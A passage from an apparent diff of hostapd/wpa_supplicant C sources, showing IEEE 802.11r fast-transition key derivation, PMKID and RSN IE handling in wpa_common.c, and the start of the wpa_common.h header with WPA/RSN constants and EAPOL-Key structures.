u8 *pos, r0_key_data[48], hash[32];
|
||||
const u8 *addr[2];
|
||||
size_t len[2];
|
||||
|
||||
/*
|
||||
* R0-Key-Data = KDF-384(XXKey, "FT-R0",
|
||||
* SSIDlength || SSID || MDID || R0KHlength ||
|
||||
* R0KH-ID || S0KH-ID)
|
||||
* XXKey is either the second 256 bits of MSK or PSK.
|
||||
* PMK-R0 = L(R0-Key-Data, 0, 256)
|
||||
* PMK-R0Name-Salt = L(R0-Key-Data, 256, 128)
|
||||
*/
|
||||
if (ssid_len > WPA_MAX_SSID_LEN || r0kh_id_len > FT_R0KH_ID_MAX_LEN)
|
||||
return;
|
||||
pos = buf;
|
||||
*pos++ = ssid_len;
|
||||
os_memcpy(pos, ssid, ssid_len);
|
||||
pos += ssid_len;
|
||||
os_memcpy(pos, mdid, MOBILITY_DOMAIN_ID_LEN);
|
||||
pos += MOBILITY_DOMAIN_ID_LEN;
|
||||
*pos++ = r0kh_id_len;
|
||||
os_memcpy(pos, r0kh_id, r0kh_id_len);
|
||||
pos += r0kh_id_len;
|
||||
os_memcpy(pos, s0kh_id, ETH_ALEN);
|
||||
pos += ETH_ALEN;
|
||||
|
||||
sha256_prf(xxkey, xxkey_len, "FT-R0", buf, pos - buf,
|
||||
r0_key_data, sizeof(r0_key_data));
|
||||
os_memcpy(pmk_r0, r0_key_data, PMK_LEN);
|
||||
|
||||
/*
|
||||
* PMKR0Name = Truncate-128(SHA-256("FT-R0N" || PMK-R0Name-Salt)
|
||||
*/
|
||||
addr[0] = (const u8 *) "FT-R0N";
|
||||
len[0] = 6;
|
||||
addr[1] = r0_key_data + PMK_LEN;
|
||||
len[1] = 16;
|
||||
|
||||
sha256_vector(2, addr, len, hash);
|
||||
os_memcpy(pmk_r0_name, hash, WPA_PMK_NAME_LEN);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* wpa_derive_pmk_r1_name - Derive PMKR1Name
|
||||
*
|
||||
* IEEE Std 802.11r-2008 - 8.5.1.5.4
|
||||
*/
|
||||
void wpa_derive_pmk_r1_name(const u8 *pmk_r0_name, const u8 *r1kh_id,
|
||||
const u8 *s1kh_id, u8 *pmk_r1_name)
|
||||
{
|
||||
u8 hash[32];
|
||||
const u8 *addr[4];
|
||||
size_t len[4];
|
||||
|
||||
/*
|
||||
* PMKR1Name = Truncate-128(SHA-256("FT-R1N" || PMKR0Name ||
|
||||
* R1KH-ID || S1KH-ID))
|
||||
*/
|
||||
addr[0] = (const u8 *) "FT-R1N";
|
||||
len[0] = 6;
|
||||
addr[1] = pmk_r0_name;
|
||||
len[1] = WPA_PMK_NAME_LEN;
|
||||
addr[2] = r1kh_id;
|
||||
len[2] = FT_R1KH_ID_LEN;
|
||||
addr[3] = s1kh_id;
|
||||
len[3] = ETH_ALEN;
|
||||
|
||||
sha256_vector(4, addr, len, hash);
|
||||
os_memcpy(pmk_r1_name, hash, WPA_PMK_NAME_LEN);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* wpa_derive_pmk_r1 - Derive PMK-R1 and PMKR1Name from PMK-R0
|
||||
*
|
||||
* IEEE Std 802.11r-2008 - 8.5.1.5.4
|
||||
*/
|
||||
void wpa_derive_pmk_r1(const u8 *pmk_r0, const u8 *pmk_r0_name,
|
||||
const u8 *r1kh_id, const u8 *s1kh_id,
|
||||
u8 *pmk_r1, u8 *pmk_r1_name)
|
||||
{
|
||||
u8 buf[FT_R1KH_ID_LEN + ETH_ALEN];
|
||||
u8 *pos;
|
||||
|
||||
/* PMK-R1 = KDF-256(PMK-R0, "FT-R1", R1KH-ID || S1KH-ID) */
|
||||
pos = buf;
|
||||
os_memcpy(pos, r1kh_id, FT_R1KH_ID_LEN);
|
||||
pos += FT_R1KH_ID_LEN;
|
||||
os_memcpy(pos, s1kh_id, ETH_ALEN);
|
||||
pos += ETH_ALEN;
|
||||
|
||||
sha256_prf(pmk_r0, PMK_LEN, "FT-R1", buf, pos - buf, pmk_r1, PMK_LEN);
|
||||
|
||||
wpa_derive_pmk_r1_name(pmk_r0_name, r1kh_id, s1kh_id, pmk_r1_name);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* wpa_pmk_r1_to_ptk - Derive PTK and PTKName from PMK-R1
|
||||
*
|
||||
* IEEE Std 802.11r-2008 - 8.5.1.5.5
|
||||
*/
|
||||
void wpa_pmk_r1_to_ptk(const u8 *pmk_r1, const u8 *snonce, const u8 *anonce,
|
||||
const u8 *sta_addr, const u8 *bssid,
|
||||
const u8 *pmk_r1_name,
|
||||
u8 *ptk, size_t ptk_len, u8 *ptk_name)
|
||||
{
|
||||
u8 buf[2 * WPA_NONCE_LEN + 2 * ETH_ALEN];
|
||||
u8 *pos, hash[32];
|
||||
const u8 *addr[6];
|
||||
size_t len[6];
|
||||
|
||||
/*
|
||||
* PTK = KDF-PTKLen(PMK-R1, "FT-PTK", SNonce || ANonce ||
|
||||
* BSSID || STA-ADDR)
|
||||
*/
|
||||
pos = buf;
|
||||
os_memcpy(pos, snonce, WPA_NONCE_LEN);
|
||||
pos += WPA_NONCE_LEN;
|
||||
os_memcpy(pos, anonce, WPA_NONCE_LEN);
|
||||
pos += WPA_NONCE_LEN;
|
||||
os_memcpy(pos, bssid, ETH_ALEN);
|
||||
pos += ETH_ALEN;
|
||||
os_memcpy(pos, sta_addr, ETH_ALEN);
|
||||
pos += ETH_ALEN;
|
||||
|
||||
sha256_prf(pmk_r1, PMK_LEN, "FT-PTK", buf, pos - buf, ptk, ptk_len);
|
||||
|
||||
/*
|
||||
* PTKName = Truncate-128(SHA-256(PMKR1Name || "FT-PTKN" || SNonce ||
|
||||
* ANonce || BSSID || STA-ADDR))
|
||||
*/
|
||||
addr[0] = pmk_r1_name;
|
||||
len[0] = WPA_PMK_NAME_LEN;
|
||||
addr[1] = (const u8 *) "FT-PTKN";
|
||||
len[1] = 7;
|
||||
addr[2] = snonce;
|
||||
len[2] = WPA_NONCE_LEN;
|
||||
addr[3] = anonce;
|
||||
len[3] = WPA_NONCE_LEN;
|
||||
addr[4] = bssid;
|
||||
len[4] = ETH_ALEN;
|
||||
addr[5] = sta_addr;
|
||||
len[5] = ETH_ALEN;
|
||||
|
||||
sha256_vector(6, addr, len, hash);
|
||||
os_memcpy(ptk_name, hash, WPA_PMK_NAME_LEN);
|
||||
}
|
||||
|
||||
#endif /* CONFIG_IEEE80211R */
|
||||
|
||||
|
||||
/**
|
||||
* rsn_pmkid - Calculate PMK identifier
|
||||
* @pmk: Pairwise master key
|
||||
* @pmk_len: Length of pmk in bytes
|
||||
* @aa: Authenticator address
|
||||
* @spa: Supplicant address
|
||||
* @pmkid: Buffer for PMKID
|
||||
* @use_sha256: Whether to use SHA256-based KDF
|
||||
*
|
||||
* IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy
|
||||
* PMKID = HMAC-SHA1-128(PMK, "PMK Name" || AA || SPA)
|
||||
*/
|
||||
void rsn_pmkid(const u8 *pmk, size_t pmk_len, const u8 *aa, const u8 *spa,
|
||||
u8 *pmkid, int use_sha256)
|
||||
{
|
||||
char *title = "PMK Name";
|
||||
const u8 *addr[3];
|
||||
const size_t len[3] = { 8, ETH_ALEN, ETH_ALEN };
|
||||
unsigned char hash[SHA256_MAC_LEN];
|
||||
|
||||
addr[0] = (u8 *) title;
|
||||
addr[1] = aa;
|
||||
addr[2] = spa;
|
||||
|
||||
#ifdef CONFIG_IEEE80211W
|
||||
if (use_sha256)
|
||||
hmac_sha256_vector(pmk, pmk_len, 3, addr, len, hash);
|
||||
else
|
||||
#endif /* CONFIG_IEEE80211W */
|
||||
hmac_sha1_vector(pmk, pmk_len, 3, addr, len, hash);
|
||||
os_memcpy(pmkid, hash, PMKID_LEN);
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* wpa_cipher_txt - Convert cipher suite to a text string
|
||||
* @cipher: Cipher suite (WPA_CIPHER_* enum)
|
||||
* Returns: Pointer to a text string of the cipher suite name
|
||||
*/
|
||||
const char * wpa_cipher_txt(int cipher)
|
||||
{
|
||||
switch (cipher) {
|
||||
case WPA_CIPHER_NONE:
|
||||
return "NONE";
|
||||
case WPA_CIPHER_WEP40:
|
||||
return "WEP-40";
|
||||
case WPA_CIPHER_WEP104:
|
||||
return "WEP-104";
|
||||
case WPA_CIPHER_TKIP:
|
||||
return "TKIP";
|
||||
case WPA_CIPHER_CCMP:
|
||||
return "CCMP";
|
||||
case WPA_CIPHER_CCMP | WPA_CIPHER_TKIP:
|
||||
return "CCMP+TKIP";
|
||||
default:
|
||||
return "UNKNOWN";
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* wpa_key_mgmt_txt - Convert key management suite to a text string
|
||||
* @key_mgmt: Key management suite (WPA_KEY_MGMT_* enum)
|
||||
* @proto: WPA/WPA2 version (WPA_PROTO_*)
|
||||
* Returns: Pointer to a text string of the key management suite name
|
||||
*/
|
||||
const char * wpa_key_mgmt_txt(int key_mgmt, int proto)
|
||||
{
|
||||
switch (key_mgmt) {
|
||||
case WPA_KEY_MGMT_IEEE8021X:
|
||||
if (proto == (WPA_PROTO_RSN | WPA_PROTO_WPA))
|
||||
return "WPA2+WPA/IEEE 802.1X/EAP";
|
||||
return proto == WPA_PROTO_RSN ?
|
||||
"WPA2/IEEE 802.1X/EAP" : "WPA/IEEE 802.1X/EAP";
|
||||
case WPA_KEY_MGMT_PSK:
|
||||
if (proto == (WPA_PROTO_RSN | WPA_PROTO_WPA))
|
||||
return "WPA2-PSK+WPA-PSK";
|
||||
return proto == WPA_PROTO_RSN ?
|
||||
"WPA2-PSK" : "WPA-PSK";
|
||||
case WPA_KEY_MGMT_NONE:
|
||||
return "NONE";
|
||||
case WPA_KEY_MGMT_IEEE8021X_NO_WPA:
|
||||
return "IEEE 802.1X (no WPA)";
|
||||
#ifdef CONFIG_IEEE80211R
|
||||
case WPA_KEY_MGMT_FT_IEEE8021X:
|
||||
return "FT-EAP";
|
||||
case WPA_KEY_MGMT_FT_PSK:
|
||||
return "FT-PSK";
|
||||
#endif /* CONFIG_IEEE80211R */
|
||||
#ifdef CONFIG_IEEE80211W
|
||||
case WPA_KEY_MGMT_IEEE8021X_SHA256:
|
||||
return "WPA2-EAP-SHA256";
|
||||
case WPA_KEY_MGMT_PSK_SHA256:
|
||||
return "WPA2-PSK-SHA256";
|
||||
#endif /* CONFIG_IEEE80211W */
|
||||
default:
|
||||
return "UNKNOWN";
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
int wpa_compare_rsn_ie(int ft_initial_assoc,
|
||||
const u8 *ie1, size_t ie1len,
|
||||
const u8 *ie2, size_t ie2len)
|
||||
{
|
||||
if (ie1 == NULL || ie2 == NULL)
|
||||
return -1;
|
||||
|
||||
if (ie1len == ie2len && os_memcmp(ie1, ie2, ie1len) == 0)
|
||||
return 0; /* identical IEs */
|
||||
|
||||
#ifdef CONFIG_IEEE80211R
|
||||
if (ft_initial_assoc) {
|
||||
struct wpa_ie_data ie1d, ie2d;
|
||||
/*
|
||||
* The PMKID-List in RSN IE is different between Beacon/Probe
|
||||
* Response/(Re)Association Request frames and EAPOL-Key
|
||||
* messages in FT initial mobility domain association. Allow
|
||||
* for this, but verify that other parts of the RSN IEs are
|
||||
* identical.
|
||||
*/
|
||||
if (wpa_parse_wpa_ie_rsn(ie1, ie1len, &ie1d) < 0 ||
|
||||
wpa_parse_wpa_ie_rsn(ie2, ie2len, &ie2d) < 0)
|
||||
return -1;
|
||||
if (ie1d.proto == ie2d.proto &&
|
||||
ie1d.pairwise_cipher == ie2d.pairwise_cipher &&
|
||||
ie1d.group_cipher == ie2d.group_cipher &&
|
||||
ie1d.key_mgmt == ie2d.key_mgmt &&
|
||||
ie1d.capabilities == ie2d.capabilities &&
|
||||
ie1d.mgmt_group_cipher == ie2d.mgmt_group_cipher)
|
||||
return 0;
|
||||
}
|
||||
#endif /* CONFIG_IEEE80211R */
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
#ifdef CONFIG_IEEE80211R
|
||||
int wpa_insert_pmkid(u8 *ies, size_t ies_len, const u8 *pmkid)
|
||||
{
|
||||
u8 *start, *end, *rpos, *rend;
|
||||
int added = 0;
|
||||
|
||||
start = ies;
|
||||
end = ies + ies_len;
|
||||
|
||||
while (start < end) {
|
||||
if (*start == WLAN_EID_RSN)
|
||||
break;
|
||||
start += 2 + start[1];
|
||||
}
|
||||
if (start >= end) {
|
||||
wpa_printf(MSG_ERROR, "FT: Could not find RSN IE in "
|
||||
"IEs data");
|
||||
return -1;
|
||||
}
|
||||
wpa_hexdump(MSG_DEBUG, "FT: RSN IE before modification",
|
||||
start, 2 + start[1]);
|
||||
|
||||
/* Find start of PMKID-Count */
|
||||
rpos = start + 2;
|
||||
rend = rpos + start[1];
|
||||
|
||||
/* Skip Version and Group Data Cipher Suite */
|
||||
rpos += 2 + 4;
|
||||
/* Skip Pairwise Cipher Suite Count and List */
|
||||
rpos += 2 + WPA_GET_LE16(rpos) * RSN_SELECTOR_LEN;
|
||||
/* Skip AKM Suite Count and List */
|
||||
rpos += 2 + WPA_GET_LE16(rpos) * RSN_SELECTOR_LEN;
|
||||
|
||||
if (rpos == rend) {
|
||||
/* Add RSN Capabilities */
|
||||
os_memmove(rpos + 2, rpos, end - rpos);
|
||||
*rpos++ = 0;
|
||||
*rpos++ = 0;
|
||||
} else {
|
||||
/* Skip RSN Capabilities */
|
||||
rpos += 2;
|
||||
if (rpos > rend) {
|
||||
wpa_printf(MSG_ERROR, "FT: Could not parse RSN IE in "
|
||||
"IEs data");
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
if (rpos == rend) {
|
||||
/* No PMKID-Count field included; add it */
|
||||
os_memmove(rpos + 2 + PMKID_LEN, rpos, end - rpos);
|
||||
WPA_PUT_LE16(rpos, 1);
|
||||
rpos += 2;
|
||||
os_memcpy(rpos, pmkid, PMKID_LEN);
|
||||
added += 2 + PMKID_LEN;
|
||||
start[1] += 2 + PMKID_LEN;
|
||||
} else {
|
||||
/* PMKID-Count was included; use it */
|
||||
if (WPA_GET_LE16(rpos) != 0) {
|
||||
wpa_printf(MSG_ERROR, "FT: Unexpected PMKID "
|
||||
"in RSN IE in EAPOL-Key data");
|
||||
return -1;
|
||||
}
|
||||
WPA_PUT_LE16(rpos, 1);
|
||||
rpos += 2;
|
||||
os_memmove(rpos + PMKID_LEN, rpos, end - rpos);
|
||||
os_memcpy(rpos, pmkid, PMKID_LEN);
|
||||
added += PMKID_LEN;
|
||||
start[1] += PMKID_LEN;
|
||||
}
|
||||
|
||||
wpa_hexdump(MSG_DEBUG, "FT: RSN IE after modification "
|
||||
"(PMKID inserted)", start, 2 + start[1]);
|
||||
|
||||
return added;
|
||||
}
|
||||
#endif /* CONFIG_IEEE80211R */
|
|
@ -0,0 +1,351 @@
|
|||
/*
|
||||
* WPA definitions shared between hostapd and wpa_supplicant
|
||||
* Copyright (c) 2002-2008, Jouni Malinen <j@w1.fi>
|
||||
*
|
||||
* This program is free software; you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License version 2 as
|
||||
* published by the Free Software Foundation.
|
||||
*
|
||||
* Alternatively, this software may be distributed under the terms of BSD
|
||||
* license.
|
||||
*
|
||||
* See README and COPYING for more details.
|
||||
*/
|
||||
|
||||
#ifndef WPA_COMMON_H
|
||||
#define WPA_COMMON_H
|
||||
|
||||
#define WPA_MAX_SSID_LEN 32
|
||||
|
||||
/* IEEE 802.11i */
|
||||
#define PMKID_LEN 16
|
||||
#define PMK_LEN 32
|
||||
#define WPA_REPLAY_COUNTER_LEN 8
|
||||
#define WPA_NONCE_LEN 32
|
||||
#define WPA_KEY_RSC_LEN 8
|
||||
#define WPA_GMK_LEN 32
|
||||
#define WPA_GTK_MAX_LEN 32
|
||||
|
||||
#define WPA_SELECTOR_LEN 4
|
||||
#define WPA_VERSION 1
|
||||
#define RSN_SELECTOR_LEN 4
|
||||
#define RSN_VERSION 1
|
||||
|
||||
#define RSN_SELECTOR(a, b, c, d) \
|
||||
((((u32) (a)) << 24) | (((u32) (b)) << 16) | (((u32) (c)) << 8) | \
|
||||
(u32) (d))
|
||||
|
||||
#define WPA_AUTH_KEY_MGMT_NONE RSN_SELECTOR(0x00, 0x50, 0xf2, 0)
|
||||
#define WPA_AUTH_KEY_MGMT_UNSPEC_802_1X RSN_SELECTOR(0x00, 0x50, 0xf2, 1)
|
||||
#define WPA_AUTH_KEY_MGMT_PSK_OVER_802_1X RSN_SELECTOR(0x00, 0x50, 0xf2, 2)
|
||||
#define WPA_CIPHER_SUITE_NONE RSN_SELECTOR(0x00, 0x50, 0xf2, 0)
|
||||
#define WPA_CIPHER_SUITE_WEP40 RSN_SELECTOR(0x00, 0x50, 0xf2, 1)
|
||||
#define WPA_CIPHER_SUITE_TKIP RSN_SELECTOR(0x00, 0x50, 0xf2, 2)
|
||||
#if 0
|
||||
#define WPA_CIPHER_SUITE_WRAP RSN_SELECTOR(0x00, 0x50, 0xf2, 3)
|
||||
#endif
|
||||
#define WPA_CIPHER_SUITE_CCMP RSN_SELECTOR(0x00, 0x50, 0xf2, 4)
|
||||
#define WPA_CIPHER_SUITE_WEP104 RSN_SELECTOR(0x00, 0x50, 0xf2, 5)
|
||||
|
||||
|
||||
#define RSN_AUTH_KEY_MGMT_UNSPEC_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 1)
|
||||
#define RSN_AUTH_KEY_MGMT_PSK_OVER_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 2)
|
||||
#ifdef CONFIG_IEEE80211R
|
||||
#define RSN_AUTH_KEY_MGMT_FT_802_1X RSN_SELECTOR(0x00, 0x0f, 0xac, 3)
|
||||
#define RSN_AUTH_KEY_MGMT_FT_PSK RSN_SELECTOR(0x00, 0x0f, 0xac, 4)
|
||||
#endif /* CONFIG_IEEE80211R */
|
||||
#define RSN_AUTH_KEY_MGMT_802_1X_SHA256 RSN_SELECTOR(0x00, 0x0f, 0xac, 5)
|
||||
#define RSN_AUTH_KEY_MGMT_PSK_SHA256 RSN_SELECTOR(0x00, 0x0f, 0xac, 6)
|
||||
|
||||
#define RSN_CIPHER_SUITE_NONE RSN_SELECTOR(0x00, 0x0f, 0xac, 0)
|
||||
#define RSN_CIPHER_SUITE_WEP40 RSN_SELECTOR(0x00, 0x0f, 0xac, 1)
|
||||
#define RSN_CIPHER_SUITE_TKIP RSN_SELECTOR(0x00, 0x0f, 0xac, 2)
|
||||
#if 0
|
||||
#define RSN_CIPHER_SUITE_WRAP RSN_SELECTOR(0x00, 0x0f, 0xac, 3)
|
||||
#endif
|
||||
#define RSN_CIPHER_SUITE_CCMP RSN_SELECTOR(0x00, 0x0f, 0xac, 4)
|
||||
#define RSN_CIPHER_SUITE_WEP104 RSN_SELECTOR(0x00, 0x0f, 0xac, 5)
|
||||
#ifdef CONFIG_IEEE80211W
|
||||
#define RSN_CIPHER_SUITE_AES_128_CMAC RSN_SELECTOR(0x00, 0x0f, 0xac, 6)
|
||||
#endif /* CONFIG_IEEE80211W */
|
||||
|
||||
/* EAPOL-Key Key Data Encapsulation
|
||||
* GroupKey and PeerKey require encryption, otherwise, encryption is optional.
|
||||
*/
|
||||
#define RSN_KEY_DATA_GROUPKEY RSN_SELECTOR(0x00, 0x0f, 0xac, 1)
|
||||
#if 0
|
||||
#define RSN_KEY_DATA_STAKEY RSN_SELECTOR(0x00, 0x0f, 0xac, 2)
|
||||
#endif
|
||||
#define RSN_KEY_DATA_MAC_ADDR RSN_SELECTOR(0x00, 0x0f, 0xac, 3)
|
||||
#define RSN_KEY_DATA_PMKID RSN_SELECTOR(0x00, 0x0f, 0xac, 4)
|
||||
#ifdef CONFIG_PEERKEY
|
||||
#define RSN_KEY_DATA_SMK RSN_SELECTOR(0x00, 0x0f, 0xac, 5)
|
||||
#define RSN_KEY_DATA_NONCE RSN_SELECTOR(0x00, 0x0f, 0xac, 6)
|
||||
#define RSN_KEY_DATA_LIFETIME RSN_SELECTOR(0x00, 0x0f, 0xac, 7)
|
||||
#define RSN_KEY_DATA_ERROR RSN_SELECTOR(0x00, 0x0f, 0xac, 8)
|
||||
#endif /* CONFIG_PEERKEY */
|
||||
#ifdef CONFIG_IEEE80211W
|
||||
#define RSN_KEY_DATA_IGTK RSN_SELECTOR(0x00, 0x0f, 0xac, 9)
|
||||
#endif /* CONFIG_IEEE80211W */
|
||||
|
||||
#define WPA_OUI_TYPE RSN_SELECTOR(0x00, 0x50, 0xf2, 1)
|
||||
|
||||
#define RSN_SELECTOR_PUT(a, val) WPA_PUT_BE32((u8 *) (a), (val))
|
||||
#define RSN_SELECTOR_GET(a) WPA_GET_BE32((const u8 *) (a))
|
||||
|
||||
#define RSN_NUM_REPLAY_COUNTERS_1 0
|
||||
#define RSN_NUM_REPLAY_COUNTERS_2 1
|
||||
#define RSN_NUM_REPLAY_COUNTERS_4 2
|
||||
#define RSN_NUM_REPLAY_COUNTERS_16 3
|
||||
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#pragma pack(push, 1)
|
||||
#endif /* _MSC_VER */
|
||||
|
||||
#ifdef CONFIG_IEEE80211W
|
||||
#define WPA_IGTK_LEN 16
|
||||
#endif /* CONFIG_IEEE80211W */
|
||||
|
||||
|
||||
/* IEEE 802.11, 7.3.2.25.3 RSN Capabilities */
|
||||
#define WPA_CAPABILITY_PREAUTH BIT(0)
|
||||
#define WPA_CAPABILITY_NO_PAIRWISE BIT(1)
|
||||
/* B2-B3: PTKSA Replay Counter */
|
||||
/* B4-B5: GTKSA Replay Counter */
|
||||
#define WPA_CAPABILITY_MFPR BIT(6)
|
||||
#define WPA_CAPABILITY_MFPC BIT(7)
|
||||
#define WPA_CAPABILITY_PEERKEY_ENABLED BIT(9)
|
||||
|
||||
|
||||
/* IEEE 802.11r */
|
||||
#define MOBILITY_DOMAIN_ID_LEN 2
|
||||
#define FT_R0KH_ID_MAX_LEN 48
|
||||
#define FT_R1KH_ID_LEN 6
|
||||
#define WPA_PMK_NAME_LEN 16
|
||||
|
||||
|
||||
/* IEEE 802.11, 8.5.2 EAPOL-Key frames */
|
||||
#define WPA_KEY_INFO_TYPE_MASK ((u16) (BIT(0) | BIT(1) | BIT(2)))
|
||||
#define WPA_KEY_INFO_TYPE_HMAC_MD5_RC4 BIT(0)
|
||||
#define WPA_KEY_INFO_TYPE_HMAC_SHA1_AES BIT(1)
|
||||
#define WPA_KEY_INFO_TYPE_AES_128_CMAC 3
|
||||
#define WPA_KEY_INFO_KEY_TYPE BIT(3) /* 1 = Pairwise, 0 = Group key */
|
||||
/* bit4..5 is used in WPA, but is reserved in IEEE 802.11i/RSN */
|
||||
#define WPA_KEY_INFO_KEY_INDEX_MASK (BIT(4) | BIT(5))
|
||||
#define WPA_KEY_INFO_KEY_INDEX_SHIFT 4
|
||||
#define WPA_KEY_INFO_INSTALL BIT(6) /* pairwise */
|
||||
#define WPA_KEY_INFO_TXRX BIT(6) /* group */
|
||||
#define WPA_KEY_INFO_ACK BIT(7)
|
||||
#define WPA_KEY_INFO_MIC BIT(8)
|
||||
#define WPA_KEY_INFO_SECURE BIT(9)
|
||||
#define WPA_KEY_INFO_ERROR BIT(10)
|
||||
#define WPA_KEY_INFO_REQUEST BIT(11)
|
||||
#define WPA_KEY_INFO_ENCR_KEY_DATA BIT(12) /* IEEE 802.11i/RSN only */
|
||||
#define WPA_KEY_INFO_SMK_MESSAGE BIT(13)
|
||||
|
||||
|
||||
struct wpa_eapol_key {
|
||||
u8 type;
|
||||
/* Note: key_info, key_length, and key_data_length are unaligned */
|
||||
u8 key_info[2]; /* big endian */
|
||||
u8 key_length[2]; /* big endian */
|
||||
u8 replay_counter[WPA_REPLAY_COUNTER_LEN];
|
||||
u8 key_nonce[WPA_NONCE_LEN];
|
||||
u8 key_iv[16];
|
||||
u8 key_rsc[WPA_KEY_RSC_LEN];
|
||||
u8 key_id[8]; /* Reserved in IEEE 802.11i/RSN */
|
||||
u8 key_mic[16];
|
||||
u8 key_data_length[2]; /* big endian */
|
||||
/* followed by key_data_length bytes of key_data */
|
||||
} STRUCT_PACKED;
|
||||
|
||||
/**
|
||||
* struct wpa_ptk - WPA Pairwise Transient Key
|
||||
* IEEE Std 802.11i-2004 - 8.5.1.2 Pairwise key hierarchy
|
||||
*/
|
||||
struct wpa_ptk {
|
||||
u8 kck[16]; /* EAPOL-Key Key Confirmation Key (KCK) */
|
||||
u8 kek[16]; /* EAPOL-Key Key Encryption Key (KEK) */
|
||||
u8 tk1[16]; /* Temporal Key 1 (TK1) */
|
||||
union {
|
||||
u8 tk2[16]; /* Temporal Key 2 (TK2) */
|
||||
struct {
|
||||
u8 tx_mic_key[8];
|
||||
u8 rx_mic_key[8];
|
||||
} auth;
|
||||
} u;
|
||||
} STRUCT_PACKED;
|
||||
|
||||
|
||||
/* WPA IE version 1
|
||||
* 00-50-f2:1 (OUI:OUI type)
|
||||
* 0x01 0x00 (version; little endian)
|
||||
* (all following fields are optional:)
|
||||
* Group Suite Selector (4 octets) (default: TKIP)
|
||||
* Pairwise Suite Count (2 octets, little endian) (default: 1)
|
||||
* Pairwise Suite List (4 * n octets) (default: TKIP)
|
||||
* Authenticated Key Management Suite Count (2 octets, little endian)
|
||||
* (default: 1)
|
||||
* Authenticated Key Management Suite List (4 * n octets)
|
||||
* (default: unspec 802.1X)
|
||||
* WPA Capabilities (2 octets, little endian) (default: 0)
|
||||
*/
|
||||
|
||||
struct wpa_ie_hdr {
|
||||
u8 elem_id;
|
||||
u8 len;
|
||||
u8 oui[4]; /* 24-bit OUI followed by 8-bit OUI type */
|
||||
u8 version[2]; /* little endian */
|
||||
} STRUCT_PACKED;
|
||||
|
||||
|
||||
/* 1/4: PMKID
|
||||
* 2/4: RSN IE
|
||||
* 3/4: one or two RSN IEs + GTK IE (encrypted)
|
||||
* 4/4: empty
|
||||
* 1/2: GTK IE (encrypted)
|
||||
* 2/2: empty
|
||||
*/
|
||||
|
||||
/* RSN IE version 1
|
||||
* 0x01 0x00 (version; little endian)
|
||||
* (all following fields are optional:)
|
||||
* Group Suite Selector (4 octets) (default: CCMP)
|
||||
* Pairwise Suite Count (2 octets, little endian) (default: 1)
|
||||
* Pairwise Suite List (4 * n octets) (default: CCMP)
|
||||
* Authenticated Key Management Suite Count (2 octets, little endian)
|
||||
* (default: 1)
|
||||
* Authenticated Key Management Suite List (4 * n octets)
|
||||
* (default: unspec 802.1X)
|
||||
* RSN Capabilities (2 octets, little endian) (default: 0)
|
||||
* PMKID Count (2 octets) (default: 0)
|
||||
* PMKID List (16 * n octets)
|
||||
* Management Group Cipher Suite (4 octets) (default: AES-128-CMAC)
|
||||
*/
|
||||
|
||||
struct rsn_ie_hdr {
|
||||
u8 elem_id; /* WLAN_EID_RSN */
|
||||
u8 len;
|
||||
u8 version[2]; /* little endian */
|
||||
} STRUCT_PACKED;
|
||||
|
||||
|
||||
#ifdef CONFIG_PEERKEY
|
||||
enum {
|
||||
STK_MUI_4WAY_STA_AP = 1,
|
||||
STK_MUI_4WAY_STAT_STA = 2,
|
||||
STK_MUI_GTK = 3,
|
||||
STK_MUI_SMK = 4
|
||||
};
|
||||
|
||||
enum {
|
||||
STK_ERR_STA_NR = 1,
|
||||
STK_ERR_STA_NRSN = 2,
|
||||
STK_ERR_CPHR_NS = 3,
|
||||
STK_ERR_NO_STSL = 4
|
||||
};
|
||||
#endif /* CONFIG_PEERKEY */
|
||||
|
||||
struct rsn_error_kde {
|
||||
be16 mui;
|
||||
be16 error_type;
|
||||
} STRUCT_PACKED;
|
||||
|
||||
#ifdef CONFIG_IEEE80211W
|
||||
struct wpa_igtk_kde {
|
||||
u8 keyid[2];
|
||||
u8 pn[6];
|
||||
u8 igtk[WPA_IGTK_LEN];
|
||||
} STRUCT_PACKED;
|
||||
#endif /* CONFIG_IEEE80211W */
|
||||
|
||||
#ifdef CONFIG_IEEE80211R
|
||||
struct rsn_mdie {
|
||||
u8 mobility_domain[MOBILITY_DOMAIN_ID_LEN];
|
||||
u8 ft_capab;
|
||||
} STRUCT_PACKED;
|
||||
|
||||
#define RSN_FT_CAPAB_FT_OVER_DS BIT(0)
|
||||
#define RSN_FT_CAPAB_FT_RESOURCE_REQ_SUPP BIT(1)
|
||||
|
||||
struct rsn_ftie {
|
||||
u8 mic_control[2];
|
||||
u8 mic[16];
|
||||
u8 anonce[WPA_NONCE_LEN];
|
||||
u8 snonce[WPA_NONCE_LEN];
|
||||
/* followed by optional parameters */
|
||||
} STRUCT_PACKED;
|
||||
|
||||
#define FTIE_SUBELEM_R1KH_ID 1
|
||||
#define FTIE_SUBELEM_GTK 2
|
||||
#define FTIE_SUBELEM_R0KH_ID 3
|
||||
#define FTIE_SUBELEM_IGTK 4
|
||||
|
||||
struct rsn_rdie {
|
||||
u8 id;
|
||||
u8 descr_count;
|
||||
le16 status_code;
|
||||
} STRUCT_PACKED;
|
||||
|
||||
#endif /* CONFIG_IEEE80211R */
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#pragma pack(pop)
|
||||
#endif /* _MSC_VER */
|
||||
|
||||
|
||||
int wpa_eapol_key_mic(const u8 *key, int ver, const u8 *buf, size_t len,
|
||||
u8 *mic);
|
||||
void wpa_pmk_to_ptk(const u8 *pmk, size_t pmk_len, const char *label,
|
||||
const u8 *addr1, const u8 *addr2,
|
||||
const u8 *nonce1, const u8 *nonce2,
|
||||
u8 *ptk, size_t ptk_len, int use_sha256);
|
||||
|
||||
#ifdef CONFIG_IEEE80211R
|
||||
int wpa_ft_mic(const u8 *kck, const u8 *sta_addr, const u8 *ap_addr,
|
||||
u8 transaction_seqnum, const u8 *mdie, size_t mdie_len,
|
||||
